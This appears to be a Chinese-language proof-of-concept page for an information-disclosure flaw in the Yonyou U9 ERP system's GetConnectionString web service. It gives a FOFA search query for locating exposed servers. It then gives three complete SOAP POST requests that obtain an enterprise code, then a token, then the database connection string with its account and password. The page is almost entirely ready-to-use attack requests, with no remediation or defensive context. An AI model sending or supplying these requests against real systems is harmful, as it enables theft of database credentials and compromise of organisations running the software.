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98 lines
3.4 KiB
Markdown
98 lines
3.4 KiB
Markdown
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## 用友u9系统接口GetConnectionString存在信息泄露漏洞
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用友u9 GetConnectionString存在信息泄露漏洞，攻击者可通过该漏洞获取数据库连接信息包括数据库账号密码等敏感信息。
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## fofa
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```
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body="logo-u9.png"
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```
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## poc
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1. 获取code
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```
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POST /CS/Office/TransWebService.asmx HTTP/1.1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: .ASPXANONYMOUS=1trTf5ff2gEkAAAAMzU0N2I3ZjctYzg0OC00YWFmLTliZTEtNDI2NDc1YmYyMTc10; ASP.NET_SessionId=ntvjalpizrae22kebxy5tn0g
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Upgrade-Insecure-Requests: 1
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Priority: u=1
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SOAPAction: http://tempuri.org/GetEnterprise
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Content-Type: text/xml;charset=UTF-8
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Host:
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Content-Length: 193
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<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
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<soap:Header/>
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<soap:Body>
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<tem:GetEnterprise/>
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</soap:Body>
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</soap:Envelope>
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```
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2. 使用上一步获取的code获取token
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```
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POST /CS/Office/TransWebService.asmx HTTP/1.1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: .ASPXANONYMOUS=1trTf5ff2gEkAAAAMzU0N2I3ZjctYzg0OC00YWFmLTliZTEtNDI2NDc1YmYyMTc10; ASP.NET_SessionId=ntvjalpizrae22kebxy5tn0g
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Upgrade-Insecure-Requests: 1
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Priority: u=1
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SOAPAction: http://tempuri.org/GetToken
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Content-Type: text/xml;charset=UTF-8
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Host:
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Content-Length: 274
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<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
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<soap:Header/>
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<soap:Body>
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<tem:GetToken>
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<!--type: string-->
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<tem:endId>800</tem:endId>
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</tem:GetToken>
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</soap:Body>
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</soap:Envelope>
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```
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3. 使用token获取数据库连接信息
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```
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POST /CS/Office/TransWebService.asmx HTTP/1.1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: .ASPXANONYMOUS=1trTf5ff2gEkAAAAMzU0N2I3ZjctYzg0OC00YWFmLTliZTEtNDI2NDc1YmYyMTc10; ASP.NET_SessionId=ntvjalpizrae22kebxy5tn0g
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Upgrade-Insecure-Requests: 1
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Priority: u=1
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SOAPAction: http://tempuri.org/GetConnectionString
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Content-Type: text/xml;charset=UTF-8
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Host:
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Content-Length: 325
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<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
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<soap:Header/>
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<soap:Body>
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<tem:GetConnectionString>
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<!--type: string-->
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<tem:token>Kp6iL9otgGlgsewf7WNyyT+BCVbWriP4</tem:token>
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</tem:GetConnectionString>
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</soap:Body>
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</soap:Envelope>
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```
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